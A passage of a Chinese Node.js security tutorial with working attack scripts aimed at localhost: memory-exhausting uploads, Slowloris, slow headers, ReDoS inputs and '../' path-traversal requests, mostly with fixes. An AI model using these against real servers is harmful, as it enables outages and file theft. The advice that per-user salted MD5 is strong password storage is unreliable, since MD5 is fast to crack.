  if(req.url === '/json' && req.method === 'POST'){//獲取用上傳代碼
  var body = [];
    req.on('data',function(chunk){
      body.push(chunk);//獲取buffer
    })
    req.on('end',function(){
      body = Buffer.concat(body);
      res.writeHead(200, {'Content-Type': 'text/plain'});
      //db.save(body) 這裏是數據庫入庫操做
      res.end('ok');
    })  
  }
}).listen(8124);

咱們使用buffer數組,保存用戶發送過來的數據,最後經過Buffer.concat將全部buffer鏈接起來,並插入到數據庫。

注意這部分代碼:

req.on('data',function(chunk){
      body.push(chunk);//獲取buffer
})

不能用下面簡單的字符串拼接來代替,可能我收到的內容不是utf-8格式,另外從拼接性能上來講二者也不是一個數量級的,咱們看以下測試:

var buf = new Buffer('nodejsv0.10.4&nodejsv0.10.4&nodejsv0.10.4&nodejsv0.10.4&');
console.time('string += buf');
var s = '';
for(var i=0;i<100000;i++){
    s += buf;
}
s;
console.timeEnd('string += buf');


console.time('buf concat');
var list = [];
var len=0;
for(var i=0;i<100000;i++){
    list.push(buf);
    len += buf.length;
}
var s2 = Buffer.concat(list, len).toString();
console.timeEnd('buf concat');

這個測試腳本分別使用兩種不通的方式將buf鏈接10W次,並返回字符串,咱們看下運行結果:

string += buf: 66ms
buf concat: 33ms

咱們看到,運行性能相差了整整一倍,因此當咱們在處理這類狀況的數據時,建議使用Buffer.concat來作。

如今開始構建一個超大的具備700mbbuffer,而後把它保存成文件:

var fs = require('fs');
var buf = new Buffer(1024*1024*700);
buf.fill('h');
fs.writeFile('./large_file', buf, function(err){
  if(err) return console.log(err);
  console.log('ok')
})

咱們構建攻擊腳本,把這個超大的文件發送出去,若是接收這個POST的Node.js服務器是內存只有512mb的小型雲主機,那麼當攻擊者上傳這個超大文件後,雲主機內存會消耗殆盡。

var http = require('http');
var fs = require('fs');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/json',
  method: 'POST'
};
var request = http.request(options, function(res) {
    res.setEncoding('utf8');
    res.on('readable', function () {
      console.log(res.read());
    });
});
fs.createReadStream('./large_file').pipe(request);

咱們看一下Node.js服務器在受攻擊先後內存的使用狀況:

{ rss: 14225408, heapTotal: 6147328, heapUsed: 2688280 }
{ rss: 15671296, heapTotal: 7195904, heapUsed: 2861704 }
{ rss: 822194176, heapTotal: 78392696, heapUsed: 56070616 }
{ rss: 1575043072, heapTotal: 79424632, heapUsed: 43795160 }
{ rss: 1575579648, heapTotal: 80456568, heapUsed: 43675448 }

那麼應該如何解決這類惡意攻擊呢?咱們只須要將Node.js服務器代碼修改以下,就能夠避免用戶上傳過大的數據了:

var http = require('http');
http.createServer(function (req, res) {
  if(req.url === '/json' && req.method === 'POST'){//獲取用上傳代碼
  var body = [];
  var len = 0;//定義變量用來記錄用戶上傳文件大小
    req.on('data',function(chunk){
        body.push(chunk);//獲取buffer
        len += chunk.length;
        if(len>=1024*1024){//每次收到一個buffer塊都要比較一下是否超過1mb
            res.end('too large');//直接響應錯誤
        }
    })
    req.on('end',function(){
       body = Buffer.concat(body,len);
       res.writeHead(200, {'Content-Type': 'text/plain'});
       //db.save(body) 這裏數據庫入庫操做
       res.end('ok');
    })  
  }
}).listen(8124);

經過上述代碼的調整,咱們每次收到一個buffer塊都會去比較一下大小,若是數據超大則馬上截斷上傳,保證惡意用戶沒法上傳超大文件消耗服務器物理內存。

Slowlori攻擊

POST慢速DoS攻擊是在2010年OWASP大會上被披露的,這種攻擊方式針對配置較低的服務器具備很強的威力,每每幾臺攻擊客戶端就能夠輕鬆擊垮一臺web應用服務器。

攻擊者先向web應用服務器發起一個正常的POST請求,設定一個在web服務器限定範圍內而且比較大的Content-Length,而後以很是慢的速度發送數據,好比30秒左右發送一次10byte的數據給服務器,保持這個鏈接不釋放。由於客戶端一直在向服務器發包,因此服務器也不會認爲鏈接超時,這樣服務器的一個tcp鏈接就一直被這樣一個慢速的POST佔用,極大的浪費了服務器資源。

這個攻擊能夠針對任意一個web服務器進行,因此受衆面很是廣;並且此類攻擊手段很是簡單和廉價,通常一臺普通的我的計算機就能夠提供2-3千個tcp鏈接,因此只要同時有幾臺攻擊機器,web服務器可能馬上就會由於鏈接數耗盡而拒絕服務。

下面是一個Node.js版本的Slowlori攻擊惡意腳本:

var http = require('http');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/json',
  method: 'POST',
  headers:{
  "Content-Length":1024*1024
  }
};
var max_conn = 1000;
http.globalAgent.maxSockets = max_conn;//設定最大請求鏈接數
var reqArray = [];
var buf = new Buffer(1024);
buf.fill('h');
while(max_conn--){
  var req = http.request(options, function(res) {
      res.setEncoding('utf8');
      res.on('readable', function () {
        console.log(res.read());
      });
  });
  reqArray.push(req);
}
setInterval(function(){//定時隔5秒發送一次
  reqArray.forEach(function(v){
    v.write(buf);
  })
},1000*5);

因爲Node.js的天生單線程優點,咱們能夠只寫一個定時器,而不用像其餘語言建立1000個線程,每一個線程裏面一個定時器在那裏跑。有網友通過測試,發現慢POST攻擊對Apache的效果十分明顯,ApachemaxClients幾乎在瞬間被鎖住,客戶端瀏覽器在攻擊進行期間甚至沒法訪問測試頁面。

想要抵擋這類慢POST攻擊,咱們能夠在Node.js應用前面放置一個靠譜的web服務器,好比Nginx,合理的配置能夠有效的減輕這類攻擊帶來的影響。

Http Header攻擊

通常web服務器都會設定HTTP請求頭的接收時長,是指客戶端在指定的時長內必須把HTTPhead發送完畢。若是web服務器在這方面沒有作限制,咱們也能夠用一樣的原理慢速的發送head數據包,形成服務器鏈接的浪費,下面是攻擊腳本代碼:

var net = require('net');
var maxConn = 1000;
var head_str = 'GET / HTTP/1.1\r\nHost: 192.168.17.55\r\n'
var clientArray = [];
while(maxConn--){
  var client = net.connect({port: 8124, host:'192.168.17.55'});
    client.write(head_str);
    client.on('error',function(e){
       console.log(e)
    })
    client.on('end',function(){
       console.log('end')
    })
    clientArray.push(client);
}
setInterval(function(){//定時隔5秒發送一次
  clientArray.forEach(function(v){
      v.write('xhead: gap\r\n');
  })
},1000*5);

這裏定義了一個永遠發不完的請求頭,定時每5秒鐘發送一個,相似慢POST攻擊,咱們慢慢悠悠的發送HTTP請求頭,當鏈接數耗盡,服務器也就拒絕響應服務了。

隨着咱們鏈接數增長,最終Node.js服務器可能會由於打開文件數過多而崩潰:

/usr/local/nodejs/test/http_server.js:10
        console.log(process.memoryUsage());
                            ^
Error: EMFILE, too many open files
    at null.<anonymous> (/usr/local/nodejs/test/http_server.js:10:22)
    at wrapper [as _onTimeout] (timers.js:252:14)
    at Timer.listOnTimeout [as ontimeout] (timers.js:110:15)

Node.js對用戶HTTP的請求響應頭作了大小限制,最大不能超過50KB,因此我沒法向HTTP請求頭裏發送大量的數據從而形成服務器內存佔用,若是web服務器沒有作這個限制,咱們能夠利用POST發送大數據那樣,將一個超大的HTTP頭髮送給服務器,惡意消耗服務器的內存。

正則表達式的DoS

平常使用判斷用戶輸入是否合法的正則表達式,若是書寫不夠規範也可能成爲惡意用戶攻擊的對象。

正則表達式引擎NFA具備回溯性,回溯的一個重要負面影響是,雖然正則表達式能夠至關快速地計算肯定匹配(輸入字符串與給定正則表達式匹配),但確認否認匹配(輸入字符串與正則表達式不匹配)所需的時間會稍長。實際上,引擎必須肯定輸入字符串中沒有任何可能的「路徑」與正則表達式匹配纔會認爲否認匹配,這意味着引擎必須對全部路徑進行測試。

好比,咱們使用下面的正則表達式來判斷字符串是否是所有爲數字:

^\(d+)$

先簡單解釋一下這個正則表達式,^$分別表示字符串的開頭和結尾嚴格匹配,\d表明數字字符,+表示有一個或多個字符匹配,上面這個正則表達式表示必須是一個或多個數字開頭而且以數字結尾的純數字字符串。

若是待匹配字符串所有爲純數字,那這是一個至關簡單的匹配過程,下面咱們使用字符串123456X做爲待判斷字符串來講明上述正則表達式的詳細匹配過程。

字符串123456X很明顯不是匹配項,由於X不是數字字符。但上述正則表達式必須計算多少個路徑才能得出此結論呢?今後字符串第一位開始計算,發現字符1是一個有效的數字字符,與此正則表達式匹配。而後它會移動到字符2,該字符也匹配。在此時,正則表達式與字符串12匹配。而後嘗試3(匹配123),依次類推,一直到到達X,得出結論該字符不匹配。

可是,因爲正則表達式引擎的回溯性,它不會在此點上中止,而是從其當前的匹配123456返回到上一個已知的匹配12345,從那裏再次嘗試匹配。

因爲5後面的下一個字符不是此字符串的結尾,所以引擎認爲不是匹配項,接着它會返回到其上一個已知的匹配1234,再次進行嘗試匹配。按這種方式進行全部匹配,直到此引擎返回到其第一個字符1,發現1後面的字符不是字符串的結尾,此時,匹配中止。

總的說來,此引擎計算了六個路徑:12345612345123412312 和1。若是此輸入字符串再增長一個字符,則引擎會多計算一個路徑。所以,此正則表達式是相對於字符串長度的線性算法,不存在致使DoS的風險。

這類計算通常速度很是迅速,能夠輕鬆拆分長度超過1萬的字符串。可是,若是咱們對此正則表達式進行細微的修改,狀況可能大不相同:

^(\d+)+$

分組表達式(\d+)後面有額外的+字符,代表此正則表達式引擎可匹配一個或多個的匹配組(\d+)

咱們仍是輸入123456X字符串做爲待匹配字符串,在匹配過程當中,計算到達123456以後回溯到12345,此時引擎不只會檢查到5後面的下一個字符不是此字符串的結尾,並且還會將下一個字符6做爲新的匹配組,並從那裏從新開始檢查,一旦此匹配失敗,它會返回到1234,先將56做爲單獨的匹配組進行匹配,而後將56分別做爲單獨的匹配組進行計算,這樣直到返回1爲止。

這樣攻擊者只要提供相對較短的輸入字符串大約30 個字符左右,就可讓匹配所需時間大大增長,下面是相關測試代碼:

var regx = /^(\d+)$/;
var regx2 = /^(\d+)+$/;
var str = '1234567890123456789012345X';
console.time('^\(d+)$');
regx.test(str);
console.timeEnd('^\(d+)$');
console.time('^(\d+)+$');
regx2.test(str);
console.timeEnd('^(\d+)+$');

咱們用正則表達式^(\d+)$^(\d+)+$分別對一個長度爲26位的字符串進行匹配操做,執行結果以下:

^(d+)$: 0ms
^(d+)+$: 866ms

若是咱們繼續增長待檢測字符串的長度,那麼匹配時間將成倍的延長,從而由於服務器cpu頻繁計算而無暇處理其餘任務,形成拒絕服務。下面是一些有問題的正則表達式示例:

^(\d+)*$ 
^(\d*)*$ 
^(\d+|\s+)*$

當正則漏洞隱藏於一些比較長的正則表達式中時,可能更加難以發現:

^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$

上述正則表達式是在正則表達式庫網站(regexlib.com)上找到的,咱們能夠經過以下代碼進行簡單的測試:

var regx = /^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$/;
var str1 = '123@1234567890.com';
var str2 = '123@163';//正經常使用戶忘記輸入.com了
var str3 = '123@1234567890123456789012345..com';//惡意字符串
console.time('str1');
regx.test(str1);
console.timeEnd('str1');
console.time('str2');
regx.test(str2);
console.timeEnd('str2');
console.time('str3');
regx.test(str3);
console.timeEnd('str3');

咱們執行上述代碼,結果以下:

str1: 0ms
str2: 0ms
str3: 1909ms

輸入正確、正常錯誤和惡意代碼的執行結果區別很大,若是咱們惡意代碼不斷加長,最終將致使服務器拒絕服務,上述這個正則表達式的漏洞之處就在於它企圖經過使用對分組後再進行+符號的匹配,它原來的目的是爲驗證多級域名下的合法郵箱地址,例如:abc@aaa.bbb.ccc.gmail.com,沒想到卻成爲了漏洞。

正則表達式的DoS不只僅侷限於Node.js語言,使用任何一門語言進行開發都須要面臨這個問題,固然在使用正則來編寫express框架的路由時尤爲須要注意,一個很差的正則路由匹配可能會被惡意用戶DoS攻擊,總之在使用正則表達式時咱們應該多留一個心眼,仔細檢查它們是否足夠強壯,避免被DoS攻擊。

文件路徑漏洞

文件路徑漏洞也是很是致命的,經常伴隨着被惡意用戶掛木馬或者代碼泄漏,因爲Node.js提供的HTTP模塊很是的底層,因此不少工做須要開發者本身來完成,可能由於業務比較簡單,不去使用成熟的框架,在寫代碼時稍不注意就會帶來安全隱患。

本章將會經過製做一個網絡分享的網站,說明文件路徑攻擊的兩種方式。

上傳文件漏洞

文件上傳功能在網站上是很常見的,如今假設咱們提供一個網盤分享服務,用戶能夠上傳待分享的文件,全部用戶上傳的文件都存放在/file文件夾下。其餘用戶經過瀏覽器訪問'/list'看到你們分享的文件。

首先,咱們要啓動一個HTTP服務器,爲用戶訪問根目錄/提供一個能夠上傳文件的靜態頁面。

var http = require('http');
var fs = require('fs');
var upLoadPage = fs.readFileSync(__dirname+'/upload.html');
//讀取頁面到內存,不用每次請求都去作i/o
http.createServer(function (req, res) {
  res.writeHead(200, {'Content-Type': 'text/html'});//響應頭設置html
  if(req.url === '/' && req.method === 'GET'){//請求根目錄,獲取上傳文件頁面
        return res.end(upLoadPage);
  }
  if(req.url === '/list' && req.method === 'GET'){//列表展示用戶上傳的文件
        fs.readdir(__dirname+'/file', function(err,array){
            if(err) return res.end('err');
            var htmlStr='';
            array.forEach(function(v){
                htmlStr += '<a href="/file/'+v+'" target="_blank">'+v+'</a> <br/><br/>'
            });
            res.end(htmlStr);
        })
        return;
  }
  if(req.url === '/upload' && req.method === 'POST'){//獲取用上傳代碼,稍後完善 
        return;
  }
  if(req.url === '/file' && req.method === 'GET'){//能夠直接下載用戶分享的文件,稍後完善 
        return;
  }
  res.end('Hello World\n');
}).listen(8124);

咱們啓動了一個web服務器監聽8124端口,而後寫了4個路由配置,分別是:

(1)輸出upload.html靜態頁面;

(2)展示全部用戶上傳文件列表的頁面;

(3)接受用戶上傳文件功能;

(4)單獨輸出某一個分享文件詳細內容的功能,這裏出於簡單咱們只分享文字。

upload.html文件代碼以下,它是一個具備的form表單上傳文件功能的靜態頁面:

<!DOCTYPE>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>upload</title>
</head>
<body>
<h1>網絡分享平臺</h1>
<form method="post" action="/upload" enctype="multipart/form-data">
    <p>選擇文件:<p>
    <p><input type="file" name="myfile" /></p>
    <button type="submit">完成提交</button>
</form>
</body>
</html>

接下來咱們就須要完成整個分享功能的核心部分,接收用戶上傳的文件而後保存在/file文件夾下,這裏咱們暫時不考慮用戶上傳文件重名的問題。咱們利用formidable包來處理文件上傳的協議細節,因此咱們先執行npm install formidable命令安裝它,下面是處理用戶文件上傳的相關代碼:

...

var formidable = require('formidable');

http.createServer(function (req, res) {

  ...

    if(req.url === '/upload' && req.method === 'POST'){//獲取用上傳代碼
        var form = new formidable.IncomingForm();
        form.parse(req, function(err, fields, files) {
          res.writeHead(200, {'content-type': 'text/plain'});
          var filePath = files.myfile.path;//得到臨時文件存放地址
          var fileName = files.myfile.name;//原始文件名
          var savePath = __dirname+'/file/';//文件保存路徑
          fs.createReadStream(filePath).pipe(fs.createWriteStream(savePath+fileName));
          //將文件拷貝到file目錄下
          fs.unlink(filePath);//刪除臨時文件
          res.end('success');
        });
        return;
  }

 ...

}).listen(8124);

經過formidable包接收用戶上傳請求以後,咱們能夠獲取到files對象,它包括了name文件名,path臨時文件路徑等屬性,打印以下:

{ myfile:
   { domain: null,
     size: 4,
     path: 'C:\\Users\\snoopy\\AppData\\Local\\Temp\\a45cc822df0553a9080cb3bfa1645fd7',
     name: '111.txt',
     type: 'text/plain',
     hash: null,
     lastModifiedDate: null,
     }
 }

咱們完善了/upload路徑下的代碼,利用formidable包很容易就獲取了用戶上傳的文件,而後咱們把它拷貝到/file文件夾下,並重命名它,最後刪除臨時文件。

咱們打開瀏覽器,訪問127.0.0.1:8124上傳文件,而後訪問127.0.0.1:8124/list,經過下面的圖片能夠看到文件已經上傳成功了。

upload 1

可能細心的讀者已經發現這個上傳功能彷佛存在問題,如今咱們開始構建攻擊腳本,打算將hack.txt木馬掛載到網站的根目錄中,由於咱們規定用戶上傳的文件必須在/file文件夾下,因此若是咱們將文件上傳至網站根目錄,能夠算是一次成功的掛馬攻擊了。

咱們將模擬瀏覽器發送一個上傳文件的請求,構建惡意腳本以下:

var http = require('http');
var fs = require('fs');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/upload',
  method: 'POST'
};
var request = http.request(options, function(res) {});
var boundaryKey = Math.random().toString(16); //隨機分割字符串
request.setHeader('Content-Type', 'multipart/form-data; boundary="'+boundaryKey+'"');
//設置請求頭,這裏須要設置上面生成的分割符
request.write( 
  '--' + boundaryKey + '\r\n'
  //在這邊輸入你的mime文件類型
  + 'Content-Type: application/octet-stream\r\n' 
  //"name"input框的name
  //"filename"文件名稱,這裏就是上傳文件漏洞的攻擊點
  + 'Content-Disposition: form-data; name="myfile"; filename="../hack.txt"\r\n' //注入惡意文件名
  + 'Content-Transfer-Encoding: binary\r\n\r\n' 
);
fs.createReadStream('./222.txt', { bufferSize: 4 * 1024 })
  .on('end', function() {
    //加入最後的分隔符
    request.end('\r\n--' + boundaryKey + '--'); 
  }).pipe(request) //管道發送文件內容

咱們在啓動惡意腳本以前,使用dir命令查看目前網站根目錄下的文件列表:

2013/11/26  15:04    <DIR>          .
2013/11/26  15:04    <DIR>          ..
2013/11/26  13:13             1,409 app.js
2013/11/26  13:53    <DIR>          file
2013/11/26  15:04    <DIR>          hack
2013/11/26  13:44    <DIR>          node_modules
2013/11/26  11:04               368 upload.html

app.js是咱們以前的服務器文件,hack文件夾存放的就是惡意腳本,下面是執行惡意腳本以後的文件列表

2013/11/26  15:09    <DIR>          .
2013/11/26  15:09    <DIR>          ..
2013/11/26  13:13             1,409 app.js
2013/11/26  13:53    <DIR>          file
2013/11/26  15:04    <DIR>          hack
2013/11/26  15:09                12 hack.txt
2013/11/26  13:44    <DIR>          node_modules
2013/11/26  11:04               368 upload.html

咱們看到多了一個hack.txt文件,這說明咱們成功的向網站根目錄上傳了一份惡意文件,若是咱們直接覆蓋upload.html文件,甚至能夠修改掉網站的首頁,因此此類漏洞危害很是之大。咱們關注受攻擊點的代碼:

fs.createReadStream(filePath).pipe(fs.createWriteStream(savePath+fileName));

咱們草率的把文件名和保存路徑直接拼接,這是很是有風險的,幸虧Node.js提供給咱們一個很好的函數來過濾掉此類漏洞。咱們把代碼修改爲下面那樣,惡意腳本就沒法直接向網站根目錄上傳文件了。

fs.createReadStream(filePath).pipe(fs.createWriteStream(savePath + path.basename(fileName)));

經過path.basename咱們就能直接獲取文件名,這樣惡意腳本就沒法再利用相對路徑../進行攻擊。

文件瀏覽漏洞

用戶上傳分享完文件,咱們能夠經過訪問/list來查看全部文件的分享列表,經過點擊的<a>標籤查看此文件的詳細內容,下面咱們把顯示文件詳細內容的代碼補上。

...

http.createServer(function (req, res) {

  ...

    if(req.url.indexOf('/file') === 0 && req.method === 'GET'){//能夠直接下載用戶分享的文件
        var filePath = __dirname + req.url; //根據用戶請求的路徑查找文件
        fs.exists(filePath, function(exists){
            if(!exists) return res.end('not found file'); //若是沒有找到文件,則返回錯誤
            fs.createReadStream(filePath).pipe(res); //不然返回文件內容
        })
        return;
    }

 ...

}).listen(8124);

聰明的讀者應該已經看出其中代碼的問題了,若是咱們構建惡意訪問地址:

http://127.0.0.1:8124/file/../app.js

這樣是否是就將咱們啓動服務器的腳本文件app.js直接輸出給客戶端了呢?下面是惡意腳本代碼:

var http = require('http');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/file/../app.js',
  method: 'GET'
};
var request = http.request(options, function(res) {
    res.setEncoding('utf8');
    res.on('readable', function () {
      console.log(res.read())
    });
});
request.end();

在Node.js的0.10.x版本新增了stream的`readable事件,而後可直接調用res.read()讀取內容,無須像之前那樣先監聽date事件進行拼接,再監聽end事件獲取內容了。

惡意代碼請求了/file/../app.js路徑,把咱們整個app.js文件打印了出來。形成咱們惡意腳本攻擊成功必然是以下代碼:

var filePath = __dirname + req.url;

相信有了以前的解決方案,這邊讀者自行也能夠輕鬆搞定。

加密安全

咱們在作web開發時會用到各類各樣的加密解密,傳統的加解密大體能夠分爲三種:

(1)對稱加密,使用單密鑰加密的算法,即加密方和解密方都使用相同的加密算法和密鑰,因此密鑰的保存很是關鍵,由於算法是公開的,而密鑰是保密的,常見的對稱加密算法有:AESDES等。

(2)非對稱加密,使用不一樣的密鑰來進行加解密,密鑰被分爲公鑰和私鑰,用私鑰加密的數據必須使用公鑰來解密,一樣用公鑰加密的數據必須用對應的私鑰來解密,常見的非對稱加密算法有:RSA等。

(3)不可逆加密,利用哈希算法使數據加密以後沒法解密回原數據,這樣的哈希算法經常使用的有:md5SHA-1等。

咱們在開發過程當中能夠使用Node.js的Crypto模塊來進行相關的操做。

md5存儲密碼

在開發網站用戶系統的時候,咱們都會面臨用戶的密碼如何存儲的問題,明文存儲固然是不行的,以前有不少歷史教訓告訴咱們,明文存儲,一旦數據庫被攻破,用戶資料將會所有展示給攻擊者,給咱們帶來巨大的損失。

目前比較流行的作法是對用戶註冊時的密碼進行md5加密存儲,下次用戶登陸的時候,用一樣的算法生成md5字符串和數據庫原有的md5字符串進行比對,從而判斷密碼正確與否。

這樣作的好處不言而喻,一旦數據泄漏,惡意用戶也是沒法直接獲取用戶密碼的,由於md5加密是不可逆的。

可是md5加密有一個特色,一樣的一個字符串通過md5哈希計算以後老是會生成相同的加密字符串,因此攻擊者能夠利用強大的md5彩虹表來逆推加密前的原始字符串,下面咱們來看個例子:

var crypto = require('crypto');
var md5 = function (str, encoding){
  return crypto
    .createHash('md5')
    .update(str)
    .digest(encoding || 'hex');
};
var password = 'nodejs';
console.log(md5(password));

上面代碼咱們對字符串nodejs進行了md5加密存儲,打印的加密字符串以下:

671a0da0ba061c98de801409dbc57d7e

咱們經過谷歌搜索md5解密關鍵字,進入一個在線md5破解的網站,輸入剛纔的加密字符串進行破解:

md5 1

咱們發現雖然md5加密不可逆,但仍是被破解出來了。因而咱們改良算法,爲全部用戶密碼存儲加上統一的salt值,而不是直接的進行md5加密:

var crypto = require('crypto');
var md5 = function (str, encoding){
  return crypto
    .createHash('md5')
    .update(str)
    .update('abc') //這邊加入固定的salt值用來加密
    .digest(encoding || 'hex');
};
var password = 'nodejs';
console.log(md5(password));

此次咱們對用戶密碼增長saltabc進行加密,咱們仍是把生成的加密字符串放入破解網站進行破解:

md5 2

網站提示咱們要交費才能查看結果,可是密碼仍是被它破解出來了,看來一些統一的簡單的salt值是沒法知足加密需求的。

因此比較好的保存用戶密碼的方式應該是在user表增長一個salt字段,每次用戶註冊都要去隨機生成一個位數夠長的salt字符串,而後再根據這個salt值加密密碼,相關流程代碼以下:

var crypto = require('crypto');
var md5 = function (str, encoding){
  return crypto
    .createHash('md5')
    .update(str)
    .digest(encoding || 'hex');
};
var gap = '-';
var password = 'nodejs';
var salt = md5(Date.now().toString());
var md5Password = md5(salt+gap+password);
console.log(md5Password);
//0199c7e47cb9b55adac21ebc697673f4

這樣咱們生成的加密密碼是足夠強壯的,就算攻擊者拿到了咱們數據庫,因爲他沒有咱們的代碼,不知道咱們的加密規則因此也就很難破解用戶的真實密碼,並且每一個用戶的密碼加密salt值都不一樣,對破解也帶來很多難度。

小結

web安全是咱們必須關注且沒法逃避的話題,本章介紹了各類常見的web攻擊技巧和應對方案,特別是針對Node.js這門新興起的語言,安全更爲重要。咱們建議每一位站長在把Node.js部署到生產環境時,將Node.js應用放置在Nginx等web服務器後方,畢竟Node.js還很年輕,須要有一位老大哥將還處於兒童期的Node.js保護好,而不是讓它直接面臨互聯網的各類威脅。

對於例如SQLXSS等注入式攻擊,咱們必定要對用戶輸入的內容進行嚴格的過濾和審查,這樣能夠避免絕大多數的注入式攻擊方式,對於DoS攻擊咱們就須要使用各類工具和配置來減輕危害,另外容易被DDoS(Distributed Denial of Service 分佈式拒絕服務)攻擊的還有HTTPS服務,在通常不配備SSL加速卡的服務器上,HTTPHTTPS處理性能上要相差幾十甚至上百倍。

最後咱們必須作好嚴密的系統監控,一旦發現系統有異常狀況,必須立刻能作出合理的響應措施。

參考文獻

相關文章
相關標籤/搜索